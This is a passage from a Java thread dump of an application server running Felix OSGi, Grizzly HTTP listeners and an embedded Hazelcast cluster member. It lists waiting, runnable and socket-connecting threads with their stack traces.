java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.partition-operation.thread-9" #52 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"EventAdminAsyncThread #1" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"http-listener-2-expirer(1)" #103 daemon [TIMED_WAITING] on java.lang.Object@69aedba3 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #4" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixStartLevel" #22 daemon [WAITING] on java.util.ArrayList@623b4219 + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-8" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.cached.thread-2" #74 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/java.net.PlainSocketImpl.socketConnect(Native Method) + at java.base@11.0.25/java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:412) + at java.base@11.0.25/java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:255) + at java.base@11.0.25/java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:237) + at java.base@11.0.25/java.net.Socket.connect(Socket.java:615) + at java.base@11.0.25/sun.net.NetworkClient.doConnect(NetworkClient.java:177) + at java.base@11.0.25/sun.net.www.http.HttpClient.openServer(HttpClient.java:509) + at java.base@11.0.25/sun.net.www.http.HttpClient.openServer(HttpClient.java:604) + at java.base@11.0.25/sun.net.www.http.HttpClient.(HttpClient.java:277) + at java.base@11.0.25/sun.net.www.http.HttpClient.New(HttpClient.java:376) + at java.base@11.0.25/sun.net.www.http.HttpClient.New(HttpClient.java:397) + at java.base@11.0.25/sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:1272) + at java.base@11.0.25/sun.net.www.protocol.http.HttpURLConnection.plainConnect0(HttpURLConnection.java:1206) + at java.base@11.0.25/sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:1100) + at java.base@11.0.25/sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:1034) + at com.hazelcast.internal.util.phonehome.MetricsCollector.fetchWebService(MetricsCollector.java:88) + at com.hazelcast.internal.util.phonehome.CloudInfoCollector.forEachMetric(CloudInfoCollector.java:76) + at com.hazelcast.internal.util.phonehome.PhoneHome.createParameters(PhoneHome.java:160) + at com.hazelcast.internal.util.phonehome.PhoneHome.phoneHome(PhoneHome.java:149) + at com.hazelcast.internal.util.phonehome.PhoneHome.lambda$check$0(PhoneHome.java:97) + at com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1442/0x000000010085f040.run(Unknown Source) + at com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator.run(DelegateAndSkipOnConcurrentExecutionDecorator.java:77) + at com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker.run(CachedExecutorServiceDelegate.java:217) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.operation-parker" #66 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a23d2f3 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.DelayQueue.poll(DelayQueue.java:265) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.doRun(OperationParkerImpl.java:228) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.run(OperationParkerImpl.java:211) + at java.base@11.0.25/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.25/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.scheduled.thread-" #40 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40001be5 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.partition-operation.thread-0" #43 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"SCR Component Actor" #161 daemon [WAITING] on java.util.LinkedList@246e005f + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.Object.wait(Object.java:328) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"DestroyJavaVM" #140 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"RMI TCP Accept-8686" #156 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.25/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.25/java.net.ServerSocket.implAccept(ServerSocket.java:576) + at java.base@11.0.25/sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:394) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:366) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1754845051265" #32 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@37789778 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.generic-operation.thread-1" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63759f6d + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.partition-operation.thread-6" #49 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.event-3" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@55b6c0f3 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.dazzling_hawking.cached.thread-4" #88 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@22b1febf + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.response-0" #41 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-thread-pool::http-listener-1(2)" #92 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6a1fdf13 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #3" #145 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.IO.thread-in-2" #78 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"FelixResolver-2" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"FelixResolver-3" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-2(3)" #100 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@39b13195 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #6" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.generic-operation.thread-3" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63759f6d + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.IO.thread-Acceptor" #83 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.acceptLoop(TcpServerAcceptor.java:185) + at com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread.run(TcpServerAcceptor.java:171) + +"FelixDispatchQueue" #15 daemon [WAITING] on java.util.ArrayList@3ba50a10 + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.TcpServer.thread-2" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70117fbd + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.priority-generic-operation.thread-0" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56d07954 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:76) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-listener-1-expirer(1)" #96 daemon [TIMED_WAITING] on java.lang.Object@422652fb + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.IO.thread-out-1" #80 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.event-1" 